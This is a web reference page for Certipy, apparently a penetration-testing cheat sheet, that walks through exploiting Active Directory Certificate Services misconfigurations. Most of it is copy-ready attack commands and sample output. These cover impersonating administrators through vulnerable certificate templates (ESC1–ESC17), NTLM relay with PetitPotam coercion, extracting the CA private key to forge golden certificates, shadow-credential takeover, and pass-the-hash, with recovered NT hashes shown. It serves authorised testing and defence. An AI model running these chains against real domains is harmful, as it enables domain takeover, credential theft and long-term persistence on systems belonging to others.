Skip to content

Certipy ADCS Exploitation Reference

17 min read Created Sep 11, 2026 Last updated Sep 11, 2026

Certipy is a Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations. It identifies vulnerable certificate templates (ESC1 through ESC17), requests and forges certificates, authenticates via PKINIT or Schannel, relays NTLM to enrollment endpoints, manipulates shadow credentials, and extracts CA private keys for golden certificate attacks. Runs from a Linux attacker host.

Install

Install via pipx. The PyPI package is certipy-ad (not certipy, which is an unrelated package).

┌──(kali㉿kali)-[~]
└─$ pipx install certipy-ad

Authentication Methods

All Certipy subcommands accept the same credential options. Username format is user@domain or domain/user.

┌──(kali㉿kali)-[~]
└─$ # Cleartext password
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-hash
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -hashes :$NTHASH -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Kerberos ticket (ccache from KRB5CCNAME)
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -k -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # AES key
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -aes $AES_KEY -dc-ip $TARGET_IP

Placeholders Used Here

  • $DOMAIN - FQDN, e.g. corp.local.

  • $USER / $PASSWORD - current foothold account credentials.

  • $NTHASH - NT hash of $USER.

  • $TARGET_IP - DC IP address.

  • $CA - CA name as shown by certipy find, e.g. CORP-CA.

  • $CA_HOST - CA server hostname, e.g. ca01.corp.local.

  • $TARGET_USER - sAMAccountName or UPN of account to impersonate.

  • $LHOST - attacker IP.

Enumeration (find)

certipy find enumerates all CAs, certificate templates, enrollment permissions, and web enrollment endpoints. It flags vulnerable templates as ESC1 through ESC17. Always run this first. Use -vulnerable to show only exploitable findings, -enabled to hide disabled templates.

┌──(kali㉿kali)-[~]
└─$ # Full enumeration
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Only vulnerable and enabled templates
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -enabled -stdout
 
┌──(kali㉿kali)-[~]
└─$ # JSON output for scripting
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -json
 
┌──(kali㉿kali)-[~]
└─$ # Hide admin-only templates
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -enabled -hide-admins -stdout
Certificate Authorities
  0
    CA Name                  : CORP-CA
    DNS Name                 : ca01.corp.local
    Web Enrollment           : Enabled (HTTP)
    Certificate Subject      : CN=CORP-CA, DC=corp, DC=local
    [!] Vulnerabilities
      ESC8 : Web Enrollment is enabled over HTTP

Certificate Templates
  0
    Template Name            : VulnTemplate
    Enabled                  : True
    Client Authentication    : True
    Enrollee Supplies Subject : True
    [!] Vulnerabilities
      ESC1 : Enrollee supplies subject and template allows client authentication
Explain command
-vulnerable Only show templates with identified vulnerabilities.
-enabled Only show enabled templates.
-stdout Print results to console instead of file.
-text Output as text file (default).
-json Output as JSON.
-hide-admins Hide templates only enrollable by admin groups.

Certificate Authentication (auth)

certipy auth authenticates with a PFX certificate via PKINIT. Returns a TGT and the account's NT hash (via U2U). Use -ldap-shell for Schannel-based LDAP authentication instead when PKINIT fails.

┌──(kali㉿kali)-[~]
└─$ # PKINIT authentication (default), get TGT + NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Schannel/LDAP shell (when PKINIT is blocked or unavailable)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP -ldap-shell
 
┌──(kali㉿kali)-[~]
└─$ # Use the recovered TGT
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -k -no-pass dc01.$DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Use the recovered NT hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -H $NTHASH -d $DOMAIN
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
Explain command
-pfx PFX/P12 certificate file to authenticate with.
-dc-ip Domain controller for Kerberos.
-ldap-shell Authenticate via Schannel to LDAPS instead of PKINIT.
-no-hash Skip NT hash recovery.

ESC1: Enrollee Supplies Subject

Template allows low-privileged users to specify an arbitrary Subject Alternative Name (UPN or SID) in the certificate request, with Client Authentication EKU enabled. Request a certificate as any user, then authenticate with it.

Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, Client Authentication EKU, low-privileged enrollment rights, no manager approval, no authorized signatures required.

┌──(kali㉿kali)-[~]
└─$ # Request certificate with Administrator UPN
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template VulnTemplate -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with the certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Explain command
-template Vulnerable certificate template name.
-upn UPN to embed in the SAN (target user).
-ca CA name to request from.

ESC2: Any Purpose EKU

Template with "Any Purpose" EKU (OID 2.5.29.37.0) or no EKU at all. The certificate acts as a Certificate Request Agent, allowing enrollment on behalf of other users (chain into ESC3 flow).

┌──(kali㉿kali)-[~]
└─$ # Get an Any Purpose certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template AnyPurposeTemplate
 
┌──(kali㉿kali)-[~]
└─$ # Use it to request on behalf of Administrator
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx attacker.pfx -on-behalf-of '$DOMAIN\Administrator'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

ESC3: Enrollment Agent

Template with Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users to request certificates on behalf of other users. Same exploitation flow as ESC2.

┌──(kali㉿kali)-[~]
└─$ # Get enrollment agent certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template EnrollmentAgentTemplate
 
┌──(kali㉿kali)-[~]
└─$ # Request certificate on behalf of Administrator
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx attacker.pfx -on-behalf-of '$DOMAIN\Administrator'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
Explain command
-on-behalf-of Request the certificate as another user (DOMAIN\User format).
-pfx Enrollment agent PFX to sign the request with.

ESC4: Template ACL Abuse

Write permissions (GenericAll, WriteDACL, WriteOwner, WriteProperty) on a certificate template AD object allow modifying it to become ESC1-vulnerable. Save the original configuration, weaponize, exploit, then restore.

┌──(kali㉿kali)-[~]
└─$ # Backup the original template
┌──(kali㉿kali)-[~]
└─$ certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -save-configuration backup.json
 
┌──(kali㉿kali)-[~]
└─$ # Weaponize: apply ESC1-vulnerable configuration
┌──(kali㉿kali)-[~]
└─$ certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -write-default-configuration
 
┌──(kali㉿kali)-[~]
└─$ # Exploit as ESC1
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SecureTemplate -upn 'administrator@$DOMAIN'
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Restore original template
┌──(kali㉿kali)-[~]
└─$ certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -write-configuration backup.json -no-save
Explain command
-save-configuration Save current template configuration to JSON (backup).
-write-default-configuration Apply ESC1-vulnerable configuration.
-write-configuration Restore template from saved JSON.

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any requester to specify a SAN through request attributes, bypassing template restrictions. Exploitable when combined with ESC9 (template without security extension) or ESC16 (CA disables security extension globally).

┌──(kali㉿kali)-[~]
└─$ # Request with arbitrary UPN on a template flagged ESC9/ESC16
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template ESC9Template -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

ESC6 alone is no longer directly exploitable after Microsoft's May 2022 patch. It requires a template without the SID security extension (ESC9) or a CA that globally disables the extension (ESC16).

ESC7: CA Permission Abuse

Attacker with ManageCa or ManageCertificates rights on the CA can enable vulnerable templates, approve pending requests, and add themselves as officer. The classic flow: enable SubCA template, request a cert with a SAN, approve your own pending request, retrieve it.

┌──(kali㉿kali)-[~]
└─$ # If you have ManageCa: add yourself as officer first
┌──(kali㉿kali)-[~]
└─$ certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -add-officer $USER
 
┌──(kali㉿kali)-[~]
└─$ # Enable the SubCA template
┌──(kali㉿kali)-[~]
└─$ certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -enable-template SubCA
 
┌──(kali㉿kali)-[~]
└─$ # Request a cert with Administrator UPN (will be denied/pending)
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SubCA -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Approve the pending request (note the request ID from previous output)
┌──(kali㉿kali)-[~]
└─$ certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -issue-request 42
 
┌──(kali㉿kali)-[~]
└─$ # Retrieve the issued certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -retrieve 42
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
Explain command
-enable-template Enable a certificate template on the CA.
-issue-request Approve a pending certificate request by ID.
-add-officer Add yourself as certificate manager (officer).
-retrieve Retrieve an issued certificate by request ID.

ESC8: NTLM Relay to Web Enrollment

AD CS Web Enrollment is accessible over HTTP (or HTTPS without channel binding). Relay NTLM authentication from a coerced machine account (PetitPotam, PrinterBug) to the enrollment endpoint to obtain a certificate as that machine. Works best against DC machine accounts for DCSync via PKINIT.

┌──(kali㉿kali)-[~]
└─$ # Start Certipy relay listener
┌──(kali㉿kali)-[~]
└─$ certipy relay -target http://$CA_HOST -template DomainController
 
┌──(kali㉿kali)-[~]
└─$ # In another terminal: coerce DC authentication to your listener
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Certipy catches the relay, requests a cert as the DC machine account
┌──(kali㉿kali)-[~]
└─$ # Authenticate with the DC certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP
[*] Targets:
    - http://ca01.corp.local
[*] Listening on 0.0.0.0:445
[*] SMBD: Received connection from 10.0.0.100
[*] Requesting certificate via HTTP for DC01$
[*] Got certificate with DNS 'dc01.corp.local'
[*] Saved certificate and private key to 'dc01.pfx'
Explain command
-target CA web enrollment URL (http:// or https://).
-template Template to request (DomainController, Machine, etc.).
-forever Keep relaying after first success.

ESC9: No Security Extension on Template

Template is configured with CT_FLAG_NO_SECURITY_EXTENSION, meaning issued certificates do not contain the SID security extension (OID 1.3.6.1.4.1.311.25.2). The KDC falls back to SAN-based identity mapping, which combined with ESC6 (SAN specification allowed) enables impersonation.

┌──(kali㉿kali)-[~]
└─$ # Request with arbitrary UPN (ESC6 CA allows SAN specification)
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template NoSecExtTemplate -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate (no SID in cert, KDC uses UPN mapping)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

ESC11: NTLM Relay to RPC Enrollment

CA does not enforce encryption for ICPR (RPC) certificate requests (IF_ENFORCEENCRYPTICERTREQUEST disabled). NTLM relay to the RPC endpoint instead of HTTP. Same coercion flow as ESC8 but targets RPC instead of web enrollment.

┌──(kali㉿kali)-[~]
└─$ # Start Certipy relay targeting RPC
┌──(kali㉿kali)-[~]
└─$ certipy relay -target rpc://$CA_HOST -ca $CA
 
┌──(kali㉿kali)-[~]
└─$ # Coerce authentication (separate terminal)
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with obtained certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP

ESC13: Issuance Policy Linked to Group

Template with Client Authentication EKU has an issuance policy OID that is linked to an AD group via msDS-OIDToGroupLink. Enrolling in this template effectively grants membership in that group through the certificate's policy. If the linked group is privileged, this is a direct escalation.

┌──(kali㉿kali)-[~]
└─$ # Find identifies the linked group
┌──(kali㉿kali)-[~]
└─$ certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -stdout
 
┌──(kali㉿kali)-[~]
└─$ # Request the certificate with the policy-linked template
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template PolicyLinkedTemplate
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate: the TGT's PAC includes the linked group membership
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx $USER.pfx -dc-ip $TARGET_IP

ESC15: Schema Version 1 Enrollee Subject (CVE-2024-49019)

Schema Version 1 templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bypass Microsoft's post-patch enforcement of the SID security extension. The patch only applies to schema v2+ templates, so v1 templates remain exploitable like pre-patch ESC1.

┌──(kali㉿kali)-[~]
└─$ # Same as ESC1 but targeting a schema v1 template
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SchemaV1Template -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

Only exploitable if the environment is not patched for CVE-2024-49019. Certipy find flags these as ESC15.

ESC16: Security Extension Disabled on CA

CA globally disables the SID security extension (OID 1.3.6.1.4.1.311.25.2) in issued certificates. Combined with ESC6 (SAN specification allowed), the KDC uses SAN-based mapping, enabling impersonation. Same exploitation as ESC9 but the cause is CA-level instead of template-level.

┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template UserTemplate -upn 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

ESC17: Server Authentication Enrollee Subject

Template allows enrollee-supplied subject with Server Authentication EKU. Does not enable direct PKINIT user impersonation, but the certificate can be abused for Schannel, LDAPS relay, or TLS interception.

┌──(kali㉿kali)-[~]
└─$ # Request with target server's DNS name
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template ServerTemplate -dns 'dc01.$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Use for Schannel/LDAPS authentication
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP -ldap-shell

ESC Techniques Not Detected by Certipy

Some ESC techniques require manual identification:

  • ESC5: weak ACLs on PKI AD objects (NTAuthCertificates, AIA, CDP containers). Check with BloodHound or Get-Acl in PowerShell.

  • ESC10: weak certificate mapping on DCs. Check registry keys StrongCertificateBindingEnforcement and CertificateMappingMethods on DCs.

  • ESC12: CA private key stored in extractable form. Use certipy ca -backup when you have admin access to the CA server.

  • ESC14: weak explicit certificate mappings in altSecurityIdentities attributes. Inspect via LDAP.

Golden Certificate (forge)

With the CA private key (from ca -backup or extracted from the CA server), forge a certificate for any domain user. Golden certificates persist as long as the CA key is valid, which can be years. No interaction with the CA needed after extracting the key.

┌──(kali㉿kali)-[~]
└─$ # Backup the CA private key (requires admin on CA server)
┌──(kali㉿kali)-[~]
└─$ certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -backup
 
┌──(kali㉿kali)-[~]
└─$ # Forge a certificate for Administrator
┌──(kali㉿kali)-[~]
└─$ certipy forge -ca-pfx ca.pfx -upn 'administrator@$DOMAIN' -crl 'ldap:///' -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with forged certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator_forged.pfx -dc-ip $TARGET_IP
[*] Saved CA certificate and key to 'ca.pfx'
Explain command
-ca-pfx CA certificate and private key PFX (from ca -backup).
-upn UPN to embed in the forged certificate.
-dns DNS name for the SAN.
-sid Object SID to embed.
-subject Subject DN for the certificate.
-crl CRL distribution point (use ldap:/// as minimum).

The CA key backup creates a temporary service on the CA, exports via certutil, and retrieves over SMB. The forged certificate is valid without touching the CA again.

Shadow Credentials

certipy shadow manipulates the msDS-KeyCredentialLink attribute on a target account to add a key credential, then authenticates via PKINIT to recover the account's NT hash. auto mode does everything in one command: add credential, authenticate, get hash, clean up.

┌──(kali㉿kali)-[~]
└─$ # Auto mode: full attack chain in one command
┌──(kali㉿kali)-[~]
└─$ certipy shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Manual: add key credential
┌──(kali㉿kali)-[~]
└─$ certipy shadow add -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with the shadow credential certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx $TARGET_USER.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # List key credentials
┌──(kali㉿kali)-[~]
└─$ certipy shadow list -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Remove specific credential by device ID
┌──(kali㉿kali)-[~]
└─$ certipy shadow remove -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER -device-id <DEVICE_ID>
 
┌──(kali㉿kali)-[~]
└─$ # Clear all key credentials
┌──(kali㉿kali)-[~]
└─$ certipy shadow clear -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER
[*] Targeting user '$TARGET_USER'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1a2b3c4d-...
[*] Adding Key Credential with DeviceID '1a2b3c4d-...' to the target
[*] Successfully added Key Credential
[*] Authenticating as '$TARGET_USER' via PKINIT
[*] Got hash for '$TARGET_USER': aad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
[*] Restoring the old Key Credential for '$TARGET_USER'
Explain command
auto Full chain: add credential, authenticate, recover hash, remove credential.
add Add key credential, export PFX.
list List all key credentials on target.
remove Remove a specific key credential by device ID.
clear Remove all key credentials.
-account Target account sAMAccountName.

Account Management

certipy account creates, reads, updates, and deletes machine accounts. Useful for creating a controlled computer account for RBCD abuse or when you need a machine account to request specific templates.

┌──(kali㉿kali)-[~]
└─$ # Create a new machine account
┌──(kali㉿kali)-[~]
└─$ certipy account create -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$' -dns attacker.$DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Read account attributes
┌──(kali㉿kali)-[~]
└─$ certipy account read -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$'
 
┌──(kali㉿kali)-[~]
└─$ # Update DNS hostname
┌──(kali㉿kali)-[~]
└─$ certipy account update -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$' -dns newname.$DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Delete the account
┌──(kali㉿kali)-[~]
└─$ certipy account delete -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$'
Explain command
create Create a new computer account.
read Read account attributes.
update Modify account properties (DNS, SPN, UPN).
delete Delete the account.
-user Account sAMAccountName.
-dns DNS hostname to set.
-pass Account password (auto-generated if omitted).

Certificate Manipulation (cert)

certipy cert converts between certificate formats (PFX, PEM, DER), extracts keys, and imports certificates. Useful when you need to convert between formats for different tools.

┌──(kali㉿kali)-[~]
└─$ # Extract PEM key and certificate from PFX
┌──(kali㉿kali)-[~]
└─$ certipy cert -pfx administrator.pfx -nokey -out cert.pem
┌──(kali㉿kali)-[~]
└─$ certipy cert -pfx administrator.pfx -nocert -out key.pem
 
┌──(kali㉿kali)-[~]
└─$ # Create PFX from separate PEM key and cert
┌──(kali㉿kali)-[~]
└─$ certipy cert -key key.pem -cert cert.pem -export -out combined.pfx
 
┌──(kali㉿kali)-[~]
└─$ # Create PFX with custom password
┌──(kali㉿kali)-[~]
└─$ certipy cert -key key.pem -cert cert.pem -export -out combined.pfx -export-password 'pfxpass'
Explain command
-pfx Input PFX file.
-key Input private key (PEM/DER).
-cert Input certificate (PEM/DER).
-export Export to PFX format.
-nokey Export certificate only (no private key).
-nocert Export key only (no certificate).

Certificate Request Options

Beyond the ESC-specific flags, certipy req supports alternate enrollment methods and advanced options.

┌──(kali㉿kali)-[~]
└─$ # Request via Web Enrollment (HTTP)
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -web
 
┌──(kali㉿kali)-[~]
└─$ # Request via DCOM
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -dcom
 
┌──(kali㉿kali)-[~]
└─$ # Retrieve a pending certificate by request ID
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -retrieve 42
 
┌──(kali㉿kali)-[~]
└─$ # Renew an existing certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx old.pfx -renew
 
┌──(kali㉿kali)-[~]
└─$ # Request with specific SID in SAN (stronger mapping)
┌──(kali㉿kali)-[~]
└─$ certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template VulnTemplate -upn 'administrator@$DOMAIN' -sid 'S-1-5-21-...-500'
Explain command
-web Use Web Enrollment (HTTP) instead of RPC.
-dcom Use DCOM Enrollment instead of RPC.
-retrieve Retrieve a previously issued certificate by request ID.
-renew Create a renewal request using an existing PFX.
-key-size RSA key size in bits (default 2048).
-sid Object SID to embed in the SAN.

Common Attack Chains

  • Quick domain admin (ESC1): find -vulnerable to identify, req -template X -upn administrator@domain to get cert, auth -pfx to get TGT + hash, then psexec/pass-the-hash.

  • NTLM relay to DC cert (ESC8): relay -target http://CA listener, coerce DC with PetitPotam, auth -pfx dc01.pfx to get DC machine hash, then DCSync with secretsdump.

  • Template takeover (ESC4): template -save-configuration backup, template -write-default-configuration weaponize, exploit as ESC1, template -write-configuration restore.

  • CA admin abuse (ESC7): ca -add-officer + ca -enable-template SubCA, request with SAN, ca -issue-request approve, req -retrieve collect.

  • Golden certificate persistence: ca -backup to extract CA key, forge -ca-pfx ca.pfx -upn admin@domain any time you need a cert, valid for years without touching the CA.

  • Shadow credential takeover: shadow auto -account target for one-shot key credential add + PKINIT + hash recovery + cleanup.

References